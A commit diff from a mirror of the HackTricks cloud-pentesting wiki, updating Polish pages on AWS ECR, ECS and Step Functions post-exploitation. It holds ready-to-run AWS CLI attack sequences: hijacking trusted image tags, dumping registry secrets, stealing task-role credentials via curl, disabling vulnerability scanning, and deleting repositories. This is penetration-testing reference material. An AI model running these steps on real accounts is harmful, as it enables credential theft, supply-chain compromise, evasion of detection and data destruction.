mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+85
-27
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
Więcej informacji znajdziesz w
|
||||
Aby uzyskać więcej informacji, zobacz
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Po pobraniu obrazów powinieneś **sprawdzić je pod kątem wrażliwych informacji**:
|
||||
Po pobraniu obrazów należy **sprawdzić je pod kątem wrażliwych informacji**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
|
||||
|
||||
Jeśli konsumenci wdrażają na podstawie tagu (na przykład `stable`, `prod`, `latest`) i tagi są modyfikowalne, `ecr:PutImage` może być użyte do **przekierowania zaufanego tagu** na zawartość kontrolowaną przez atakującego poprzez przesłanie manifestu obrazu pod tym tagiem.
|
||||
|
||||
Jednym z powszechnych podejść jest skopiowanie manifestu istniejącego tagu kontrolowanego przez atakującego (or digest) i nadpisanie nim zaufanego tagu.
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO="<repo_name>"
|
||||
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
|
||||
DST_TAG="stable" # trusted tag used by downstream systems
|
||||
|
||||
# 1) Fetch the manifest behind the attacker tag
|
||||
MANIFEST="$(aws ecr batch-get-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-ids imageTag="$SRC_TAG" \
|
||||
--query 'images[0].imageManifest' \
|
||||
--output text)"
|
||||
|
||||
# 2) Overwrite the trusted tag with that manifest
|
||||
aws ecr put-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-tag "$DST_TAG" \
|
||||
--image-manifest "$MANIFEST"
|
||||
|
||||
# 3) Verify both tags now point to the same digest
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
```
|
||||
**Wpływ**: dowolny workload pobierający `.../$REPO:$DST_TAG` otrzyma zawartość wybraną przez atakującego bez żadnych zmian w IaC, Kubernetes manifests lub task definitions.
|
||||
|
||||
#### Przykład konsumenta downstream: Lambda Container Images automatycznie odświeżane po aktualizacjach tagów
|
||||
|
||||
Jeśli funkcja Lambda jest wdrożona jako **container image** (`PackageType=Image`) i używa **ECR tag** (np. `:stable`, `:prod`) zamiast digestu, nadpisanie tego tagu może przekształcić manipulację supply-chain w **code execution inside the Lambda execution role** po odświeżeniu funkcji.
|
||||
|
||||
Jak zidentyfikować tę sytuację:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Find image-based Lambda functions and their ImageUri
|
||||
aws lambda list-functions --region "$REGION" \
|
||||
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
|
||||
tr '\t' '\n' | while read -r fn; do
|
||||
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
|
||||
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
|
||||
done
|
||||
|
||||
# 2) Check whether a function references a mutable tag (contains ":<tag>")
|
||||
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
|
||||
```
|
||||
Jak często dochodzi do odświeżenia:
|
||||
|
||||
- CI/CD lub GitOps regularnie wywołuje `lambda:UpdateFunctionCode` (nawet z tym samym `ImageUri`), aby zmusić Lambda do ponownego rozwiązania taga.
|
||||
- Automatyzacja zdarzeniowa nasłuchuje zdarzeń obrazu ECR (push/aktualizacje taga) i uruchamia odświeżającą funkcję Lambda/automatyzację.
|
||||
|
||||
Jeśli możesz nadpisać zaufany tag i istnieje mechanizm odświeżania, następne wywołanie funkcji uruchomi kod kontrolowany przez atakującego, który będzie mógł odczytać zmienne środowiskowe, uzyskać dostęp do zasobów sieciowych oraz wywoływać API AWS przy użyciu roli Lambda (na przykład `secretsmanager:GetSecretValue`).
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Atakujący posiadający któreś z tych uprawnień może **utworzyć lub zmodyfikować lifecycle policy, aby usunąć wszystkie obrazy w repozytorium**, a następnie **usunąć całe ECR repository**. Doprowadziłoby to do utraty wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
Atakujący posiadający któreś z tych uprawnień może **utworzyć lub zmodyfikować lifecycle policy, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowodowałoby to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,21 +148,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Eksfiltracja poświadczeń rejestru upstream z ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Jeśli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itp.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu w AWS Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne użycie poza AWS.
|
||||
Jeśli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych upstream registries (Docker Hub, GHCR, ACR itp.), upstream credentials są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają ECR admins szeroki dostęp do odczytu w AWS Secrets Manager, co umożliwia credential exfiltration i ponowne użycie poza AWS.
|
||||
|
||||
Wymagania
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Wylistuj potencjalne sekrety PTC
|
||||
Wylistuj potencjalne PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Zrzucanie wykrytych sekretów i parsowanie typowych pól
|
||||
Zrzut odkrytych sekretów i parsowanie wspólnych pól
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,25 +172,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcjonalnie: zweryfikuj leaked creds względem upstream (logowanie tylko do odczytu)
|
||||
Opcjonalnie: zweryfikuj leaked creds wobec upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Wpływ
|
||||
- Odczytanie tych wpisów Secrets Manager ujawnia ponownie używalne upstream registry credentials (username/password or token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od upstream permissions.
|
||||
Impact
|
||||
- Odczytanie tych wpisów Secrets Manager ujawnia wielokrotnego użytku poświadczenia rejestru upstream (username/password lub token), które mogą być wykorzystane poza AWS do pobierania prywatnych obrazów lub uzyskania dostępu do dodatkowych repozytoriów w zależności od uprawnień upstream.
|
||||
|
||||
|
||||
### Ukrycie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration`
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Atakujący z uprawnieniami ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla wszystkich repozytoriów, ustawiając registry scanning configuration na BASIC bez żadnych reguł scan-on-push. To zapobiega automatycznemu skanowaniu nowych pushy obrazów, ukrywając podatne lub złośliwe obrazy.
|
||||
Atakujący posiadający uprawnienia ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla WSZYSTKICH repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez reguł scan-on-push. To zapobiega automatycznemu skanowaniu nowych pushy obrazów, ukrywając podatne lub złośliwe obrazy.
|
||||
|
||||
Wymagania
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (opcjonalne, dla repozytorium)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (weryfikacja)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Obniżenie ustawień dla całego rejestru do ręcznego (brak automatycznych skanów)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcjonalnie: dalsze obniżenie uprawnień na poziomie repo
|
||||
Opcjonalnie: dalsze obniżenie na poziomie repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -167,22 +225,22 @@ aws ecr put-image-scanning-configuration \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impact
|
||||
- Nowe wypchnięcia obrazów do rejestru nie są skanowane automatycznie, co zmniejsza widoczność podatnej lub złośliwej zawartości i opóźnia wykrycie do momentu uruchomienia skanu ręcznego.
|
||||
Wpływ
|
||||
- Nowe przesyłania obrazów do rejestru nie są skanowane automatycznie, co zmniejsza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do czasu ręcznego uruchomienia skanu.
|
||||
|
||||
|
||||
### Obniżenie jakości silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Zmniejsz jakość wykrywania podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na starszy silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres wykrywania. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby skany były tylko ręczne.
|
||||
Obniża jakość wykrywania podatności w całym rejestrze przez zmianę silnika skanowania BASIC z domyślnego AWS_NATIVE na starszy silnik CLAIR. To nie wyłącza skanowania, ale może znacząco zmienić wyniki/zakres wykryć. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby skany były wyłącznie ręczne.
|
||||
|
||||
Requirements
|
||||
Wymagania
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opcjonalne) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Opcjonalnie) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impact
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, więc kolejne skany BASIC będą wykonywane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie API `PutAccountSetting`.
|
||||
Wpływ
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, więc kolejne skany BASIC będą uruchamiane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie API `PutAccountSetting`.
|
||||
|
||||
Steps
|
||||
Kroki
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Skanuj obrazy ECR pod kątem podatności
|
||||
### Skanuj obrazy ECR w poszukiwaniu podatności
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
+35
-22
@@ -4,41 +4,41 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Aby uzyskać więcej informacji, zobacz:
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Role IAM hosta
|
||||
|
||||
W ECS do zadania uruchamianego w kontenerze można przypisać **IAM role**. **Jeśli** zadanie jest uruchomione na instancji **EC2**, sama **instancja EC2** będzie miała przypisaną **inną rolę IAM**.\
|
||||
To oznacza, że jeśli uda ci się **przejąć** instancję ECS, możesz potencjalnie **uzyskać IAM role powiązane z ECR i z instancją EC2**. Aby uzyskać więcej informacji o tym, jak zdobyć te poświadczenia, sprawdź:
|
||||
W ECS można przypisać **rolę IAM do taska** uruchomionego w kontenerze. **Jeśli** task jest uruchamiany na instancji **EC2**, instancja **EC2** będzie miała przypisaną **inną rolę IAM**.\
|
||||
To oznacza, że jeśli uda ci się **przejąć** instancję ECS, możesz potencjalnie **uzyskać rolę IAM powiązaną z ECR i z instancją EC2**. Aby uzyskać więcej informacji o tym, jak zdobyć te poświadczenia, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
> IMDSv2 z limitem hop = 1 **nie** blokuje awsvpc ani host-networked tasks — tylko Docker bridge tasks są wystarczająco daleko, by odpowiedzi wygasały. Zobacz [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) dla pełnego przebiegu ataku i uwag dotyczących obejść. Niedawne [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) pokazuje, że awsvpc i host tasks wciąż pobierają poświadczenia hosta nawet gdy IMDSv2+h=1 jest wymuszone.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Ponadto EC2 używa docker do uruchamiania zadań ECS, więc jeśli uda ci się uciec na node lub **uzyskać dostęp do docker socket**, możesz **sprawdzić**, które **inne kontenery** są uruchomione, a nawet **dostać się do nich** i **ukraść przypisane im IAM roles**.
|
||||
A co więcej, EC2 używa docker do uruchamiania tasków ECS, więc jeśli uda ci się uciec na node lub uzyskać dostęp do **docker socket**, możesz **sprawdzić**, które **inne kontenery** są uruchomione, a nawet **dostać się do nich** i **ukraść przypisane im role IAM**.
|
||||
|
||||
#### Making containers run in current host
|
||||
#### Wymuszenie uruchomienia kontenerów na bieżącym hoście
|
||||
|
||||
Co więcej, **EC2 instance role** zazwyczaj ma wystarczające **permissions**, aby **zaktualizować container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący mógłby zmodyfikować **stan instancji na DRAINING**, wtedy ECS **usunie wszystkie tasks z niej**, a te uruchamiane jako **REPLICA** zostaną **uruchomione na innej instancji**, potencjalnie na instancji **atakującego**, dzięki czemu będzie mógł **ukraść ich IAM roles** oraz potencjalnie wrażliwe informacje z wnętrza kontenera.
|
||||
Co więcej, **rola instancji EC2** zwykle ma wystarczające **uprawnienia**, by **zaktualizować container instance state** instancji EC2 używanych jako node'y w klastrze. Atakujący może zmodyfikować **stan instancji na DRAINING**, wtedy ECS **usunie z niej wszystkie taski**, a te uruchamiane jako **REPLICA** zostaną **uruchomione na innej instancji**, potencjalnie na **instancji atakującego**, dzięki czemu będzie mógł **ukraść ich role IAM** oraz potencjalnie wrażliwe informacje znajdujące się w kontenerze.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ta sama technika może być wykonana przez **deregistering the EC2 instance from the cluster**. To jest potencjalnie mniej dyskretne, ale spowoduje to **force the tasks to be run in other instances:**
|
||||
Ta sama technika może być wykonana przez **deregistering the EC2 instance from the cluster**. Jest to potencjalnie mniej stealthy, ale to spowoduje, że **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Ostateczna technika wymuszenia ponownego wykonania zadań polega na zgłoszeniu do ECS, że **task or container was stopped**. Istnieją 3 potencjalne API do tego:
|
||||
Ostatnia technika, aby wymusić ponowne uruchomienie zadań, polega na wskazaniu ECS, że **task lub container został zatrzymany**. Są 3 potencjalne API, aby to zrobić:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,49 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Wykradanie wrażliwych informacji z kontenerów ECR
|
||||
#### Dołącz do klastra z hostem atakującego (Register Container Instance)
|
||||
|
||||
Instancja EC2 prawdopodobnie będzie również miała uprawnienie `ecr:GetAuthorizationToken`, pozwalające jej **pobrać obrazy** (możesz je przeszukać pod kątem wrażliwych informacji).
|
||||
Inną odmianą (bardziej bezpośrednią niż draining) jest **dodanie kontrolowanej przez ciebie pojemności** do klastra poprzez zarejestrowanie instancji EC2 jako container instance (`ecs:RegisterContainerInstance`) i ustawienie wymaganych atrybutów container instance tak, aby placement constraints pasowały. Gdy tasks trafią na twój host, możesz inspect/exec do kontenerów i pozyskać poświadczenia `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`.
|
||||
|
||||
Zobacz stronę ECS privesc, sekcję `ecs:RegisterContainerInstance`, aby uzyskać pełny przebieg.
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
Instancja EC2 prawdopodobnie będzie również miała uprawnienie `ecr:GetAuthorizationToken`, pozwalające na **pobieranie obrazów** (możesz przeszukać w nich wrażliwe informacje).
|
||||
|
||||
### Steal Task Role Credentials via `ecs:ExecuteCommand`
|
||||
|
||||
Jeśli `ExecuteCommand` jest włączone dla taska, principal posiadający `ecs:ExecuteCommand` + `ecs:DescribeTasks` może otworzyć shell wewnątrz uruchomionego kontenera, a następnie zapytać endpoint poświadczeń zadania, aby pozyskać poświadczenia roli zadania:
|
||||
|
||||
- Ze środka kontenera: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
|
||||
- Użyj zwróconego `AccessKeyId/SecretAccessKey/Token` do wywołań API AWS jako task role
|
||||
|
||||
Zobacz stronę ECS privilege escalation po przykłady enumeracji i poleceń.
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Wykorzystaj natywną integrację ECS z EBS (2024+), aby zamontować zawartość istniejącego snapshotu EBS bezpośrednio w nowym zadaniu/usłudze ECS i odczytać dane z wnętrza kontenera.
|
||||
Nadużyj natywnej integracji ECS EBS (2024+), aby zamontować zawartość istniejącego snapshotu EBS bezpośrednio w nowym zadaniu/usłudze ECS i odczytać jego dane z wnętrza kontenera.
|
||||
|
||||
- Wymagane (minimum):
|
||||
- Wymaga (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Jedno z: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole na:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- Jeśli snapshot jest zaszyfrowany za pomocą CMK: uprawnienia KMS dla roli infra (zarządzana polityka AWS powyżej zawiera wymagane uprawnienia KMS dla kluczy zarządzanych przez AWS).
|
||||
- ECS infrastructure role używany dla wolumenów (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referencjonowane w task definition
|
||||
- Jeśli snapshot jest zaszyfrowany CMK: uprawnienia KMS dla roli infra (zarządzana przez AWS polityka powyżej zawiera wymagane KMS grants dla AWS managed keys).
|
||||
|
||||
- Skutek: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i wyeksfiltrowanie przez sieć/logi.
|
||||
- Wpływ: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i exfiltrate przez sieć/logi.
|
||||
|
||||
Kroki (przykład Fargate):
|
||||
|
||||
1) Utwórz rolę infrastruktury ECS (jeśli nie istnieje) i dołącz zarządzaną politykę:
|
||||
1) Utwórz ECS infrastructure role (jeśli nie istnieje) i dołącz zarządzaną politykę:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Zarejestruj definicję zadania z woluminem oznaczonym `configuredAtLaunch` i zamontuj go w kontenerze. Przykład (wypisuje sekret, a następnie usypia):
|
||||
2) Zarejestruj task definition z woluminem oznaczonym jako `configuredAtLaunch` i zamontuj go w containerze. Przykład (wypisuje sekret, a następnie śpi):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Utwórz lub zaktualizuj usługę, przekazując snapshot EBS za pomocą `volumeConfigurations.managedEBSVolume` (wymaga `iam:PassRole` dla roli infrastruktury). Przykład:
|
||||
3) Utwórz lub zaktualizuj usługę, przekazując snapshot EBS przez `volumeConfigurations.managedEBSVolume` (wymaga iam:PassRole na roli infra). Przykład:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Gdy task się uruchomi, container może odczytać zawartość snapshotu w skonfigurowanej ścieżce montowania (np. `/loot`). Eksfiltruj przez sieć/logi zadania.
|
||||
4) Gdy zadanie się uruchomi, kontener może odczytać zawartość snapshotu w skonfigurowanej ścieżce montowania (np. `/loot`). Exfiltrate via the task’s network/logs.
|
||||
|
||||
Czyszczenie:
|
||||
```bash
|
||||
|
||||
+64
-24
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
Aby uzyskać więcej informacji o tej usłudze AWS, sprawdź:
|
||||
Po więcej informacji o tej usłudze AWS, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,19 +12,19 @@ Aby uzyskać więcej informacji o tej usłudze AWS, sprawdź:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
To uprawnienie pozwala **ujawnić poufne dane wewnątrz wykonania**. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.
|
||||
To uprawnienie pozwala **ujawnić secret data inside an execution**. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Atakujący z tymi uprawnieniami mógłby trwale usunąć state machines, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, spowodować utratę danych i wymagać znacznego czasu na odzyskanie oraz przywrócenie dotkniętych state machines. Dodatkowo pozwoliłoby to napastnikowi zatrzeć ślady, utrudnić dochodzenia kryminalistyczne i potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.
|
||||
Atakujący posiadający te uprawnienia będzie w stanie trwale usuwać state machines, ich versions oraz aliases. Może to zakłócić krytyczne workflowy, skutkować utratą danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych state machines. Ponadto pozwoli to atakującemu zamazać ślady, utrudnić dochodzenia kryminalistyczne oraz potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Usunięcie state machine powoduje również usunięcie wszystkich powiązanych wersji i aliasów.
|
||||
> - Usunięcie aliasu state machine nie usuwa wersji state machine, które odwołują się do tego aliasu.
|
||||
> - Nie można usunąć wersji state machine, która jest obecnie referencjonowana przez jeden lub więcej aliasów.
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one o more aliases.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -33,19 +33,19 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potential Impact**: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.
|
||||
- **Potencjalny wpływ**: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby manipulować konfiguracją obsługi błędów Map Run oraz ustawieniem paralelizmu, zwiększając lub zmniejszając maksymalną liczbę dozwolonych child workflow executions, co bezpośrednio wpływa na wydajność usługi. Dodatkowo atakujący mógłby ingerować w tolerowany procent i liczbę błędów, zmniejszając tę wartość do 0, tak że za każdym razem gdy element zawiedzie, cały map run zakończy się niepowodzeniem, co bezpośrednio wpłynie na state machine execution i potencjalnie zakłóci krytyczne przepływy pracy.
|
||||
Atakujący z tym uprawnieniem mógłby modyfikować konfigurację obsługi błędów Map Run oraz ustawienie równoległości, zwiększając lub zmniejszając maksymalną dozwoloną liczbę uruchomień podrzędnych workflow, co bezpośrednio wpływa na wydajność usługi. Ponadto atakujący mógłby manipulować tolerowanym procentem i liczbą błędów, zmniejszając tę wartość do 0 — wówczas za każdym razem, gdy jakiś element zawiedzie, cały Map Run zakończy się niepowodzeniem, co bezpośrednio wpłynie na wykonanie state machine i potencjalnie zakłóci krytyczne przepływy pracy.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potencjalny wpływ**: Pogorszenie wydajności i zakłócenie krytycznych przepływów pracy.
|
||||
- **Potencjalny wpływ**: Pogorszenie wydajności oraz zakłócenie krytycznych przepływów pracy.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Atakujący posiadający to uprawnienie może zatrzymać wykonanie dowolnej maszyny stanów, przerywając trwające przepływy pracy i procesy. Może to prowadzić do nieukończonych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.
|
||||
Atakujący posiadający to uprawnienie może zatrzymać wykonywanie dowolnego state machine, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.
|
||||
|
||||
> [!WARNING]
|
||||
> Ta akcja nie jest obsługiwana przez **express state machines**.
|
||||
